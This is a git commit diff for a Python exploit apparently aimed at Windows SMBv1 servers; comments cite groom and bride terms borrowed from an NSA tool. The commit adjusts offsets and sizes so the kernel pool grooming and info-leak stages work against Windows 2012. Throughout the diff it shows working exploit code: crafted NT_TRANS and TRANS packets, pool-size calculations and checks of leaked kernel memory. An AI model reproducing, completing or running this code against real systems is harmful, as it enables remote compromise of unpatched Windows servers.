fix fail to exploit Windows 2012 because of previous commit

This commit is contained in:
worawit
2017-07-11 12:14:10 +07:00
parent ffef5e8163
commit d787343067

View File

@@ -107,7 +107,7 @@ X86_INFO = {
X64_INFO = { X64_INFO = {
'PTR_SIZE' : 8, 'PTR_SIZE' : 8,
'PTR_FMT' : 'Q', 'PTR_FMT' : 'Q',
'FRAG_TAG_OFFSET' : 0x1c, 'FRAG_TAG_OFFSET' : 0x14,
'POOL_ALIGN' : 0x10, 'POOL_ALIGN' : 0x10,
'SRV_BUFHDR_SIZE' : 0x10, 'SRV_BUFHDR_SIZE' : 0x10,
'TRANS_SIZE' : 0xf8, # struct size 'TRANS_SIZE' : 0xf8, # struct size
@@ -139,8 +139,8 @@ def next_extra_mid():
return extra_last_mid return extra_last_mid
# Borrow 'groom' and 'bride' word from NSA tool # Borrow 'groom' and 'bride' word from NSA tool
# GROOM_TRANS_SIZE does not include transaction name length # GROOM_TRANS_SIZE includes transaction name, parameters and data
GROOM_TRANS_SIZE = 0x5008 GROOM_TRANS_SIZE = 0x5010
def calc_alloc_size(size, align_size): def calc_alloc_size(size, align_size):
@@ -152,7 +152,7 @@ def leak_frag_size(conn, tid, fid, info):
# To make exploit more generic, exploit does info leak to find a "Frag" pool size. # To make exploit more generic, exploit does info leak to find a "Frag" pool size.
# From the leak info, we can determine the target architecture too. # From the leak info, we can determine the target architecture too.
mid = conn.next_mid() mid = conn.next_mid()
req1 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=mid, data='A'*0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0) req1 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=mid, data='A'*0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0-4)
req2 = conn.create_nt_trans_secondary_packet(mid, data='B'*276) # leak more 276 bytes req2 = conn.create_nt_trans_secondary_packet(mid, data='B'*276) # leak more 276 bytes
conn.send_raw(req1[:-8]) conn.send_raw(req1[:-8])
@@ -176,15 +176,20 @@ def leak_frag_size(conn, tid, fid, info):
# Calculate frag pool size # Calculate frag pool size
info['FRAG_POOL_SIZE'] = ord(leakData[ info['FRAG_TAG_OFFSET']-2 ]) * info['POOL_ALIGN'] info['FRAG_POOL_SIZE'] = ord(leakData[ info['FRAG_TAG_OFFSET']-2 ]) * info['POOL_ALIGN']
print('Got frag size: 0x{:x}'.format(info['FRAG_POOL_SIZE'])) print('Got frag size: 0x{:x}'.format(info['FRAG_POOL_SIZE']))
# groom: srv buffer header, empty transaction name (4)
info['GROOM_POOL_SIZE'] = calc_alloc_size(GROOM_TRANS_SIZE + info['SRV_BUFHDR_SIZE'] + 4 + info['POOL_ALIGN'], info['POOL_ALIGN']) # groom: srv buffer header
info['GROOM_POOL_SIZE'] = calc_alloc_size(GROOM_TRANS_SIZE + info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'], info['POOL_ALIGN'])
print('GROOM_POOL_SIZE: 0x{:x}'.format(info['GROOM_POOL_SIZE'])) print('GROOM_POOL_SIZE: 0x{:x}'.format(info['GROOM_POOL_SIZE']))
# groom paramters and data is alignment by 8 because it is NT_TRANS
info['GROOM_DATA_SIZE'] = GROOM_TRANS_SIZE - 4 - 4 - info['TRANS_SIZE'] # empty transaction name (4), alignment (4)
# bride: srv buffer header, pool header (same as pool align size), empty transaction name (4) # bride: srv buffer header, pool header (same as pool align size), empty transaction name (4)
bridePoolSize = 0x1000 - (info['GROOM_POOL_SIZE'] & 0xfff) - info['FRAG_POOL_SIZE'] bridePoolSize = 0x1000 - (info['GROOM_POOL_SIZE'] & 0xfff) - info['FRAG_POOL_SIZE']
info['BRIDE_TRANS_SIZE'] = bridePoolSize - calc_alloc_size(info['SRV_BUFHDR_SIZE'] + 4 + info['POOL_ALIGN'], info['POOL_ALIGN']) info['BRIDE_TRANS_SIZE'] = bridePoolSize - (info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'])
print('BRIDE_TRANS_SIZE: 0x{:x}'.format(info['BRIDE_TRANS_SIZE'])) print('BRIDE_TRANS_SIZE: 0x{:x}'.format(info['BRIDE_TRANS_SIZE']))
# adjust frag offset # bride paramters and data is alignment by 4 because it is TRANS
info['FRAG_TAG_OFFSET'] -= info['TRANS_SIZE'] & 0xf info['BRIDE_DATA_SIZE'] = info['BRIDE_TRANS_SIZE'] - 4 - info['TRANS_SIZE'] # empty transaction name (4)
return info['FRAG_POOL_SIZE'] return info['FRAG_POOL_SIZE']
@@ -195,14 +200,14 @@ def align_transaction_and_leak(conn, tid, fid, info, numFill=4):
conn.send_nt_trans(5, param=trans_param, totalDataCount=0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0) conn.send_nt_trans(5, param=trans_param, totalDataCount=0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0)
mid_ntrename = conn.next_mid() mid_ntrename = conn.next_mid()
req1 = conn.create_nt_trans_packet(5, param=trans_param, mid=mid_ntrename, data='A'*0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0-info['TRANS_SIZE']) req1 = conn.create_nt_trans_packet(5, param=trans_param, mid=mid_ntrename, data='A'*0x10d0, maxParameterCount=info['GROOM_DATA_SIZE']-0x10d0)
req2 = conn.create_nt_trans_secondary_packet(mid_ntrename, data='B'*276) # leak more 276 bytes req2 = conn.create_nt_trans_secondary_packet(mid_ntrename, data='B'*276) # leak more 276 bytes
req3 = conn.create_nt_trans_packet(5, param=trans_param, mid=fid, totalDataCount=GROOM_TRANS_SIZE-0x1000-info['TRANS_SIZE'], maxParameterCount=0x1000) req3 = conn.create_nt_trans_packet(5, param=trans_param, mid=fid, totalDataCount=info['GROOM_DATA_SIZE']-0x1000, maxParameterCount=0x1000)
reqs = [] reqs = []
for i in range(12): for i in range(12):
mid = next_extra_mid() mid = next_extra_mid()
reqs.append(conn.create_trans_packet('', mid=mid, param=trans_param, totalDataCount=info['BRIDE_TRANS_SIZE']-0x200-info['TRANS_SIZE'], totalParameterCount=0x200, maxDataCount=0, maxParameterCount=0)) reqs.append(conn.create_trans_packet('', mid=mid, param=trans_param, totalDataCount=info['BRIDE_DATA_SIZE']-0x200, totalParameterCount=0x200, maxDataCount=0, maxParameterCount=0))
conn.send_raw(req1[:-8]) conn.send_raw(req1[:-8])
conn.send_raw(req1[-8:]+req2+req3+''.join(reqs)) conn.send_raw(req1[-8:]+req2+req3+''.join(reqs))
@@ -233,7 +238,7 @@ def align_transaction_and_leak(conn, tid, fid, info, numFill=4):
# ================================ # ================================
leakData = leakData[info['FRAG_TAG_OFFSET']-4+info['FRAG_POOL_SIZE']:] leakData = leakData[info['FRAG_TAG_OFFSET']-4+info['FRAG_POOL_SIZE']:]
# check pool tag and size value in buffer header # check pool tag and size value in buffer header
expected_size = pack('<H', info['BRIDE_TRANS_SIZE']+4) expected_size = pack('<H', info['BRIDE_TRANS_SIZE'])
leakTransOffset = info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE'] leakTransOffset = info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE']
if leakData[0x4:0x8] != 'LStr' or leakData[info['POOL_ALIGN']:info['POOL_ALIGN']+2] != expected_size or leakData[leakTransOffset+2:leakTransOffset+4] != expected_size: if leakData[0x4:0x8] != 'LStr' or leakData[info['POOL_ALIGN']:info['POOL_ALIGN']+2] != expected_size or leakData[leakTransOffset+2:leakTransOffset+4] != expected_size:
print('No transaction struct in leak data') print('No transaction struct in leak data')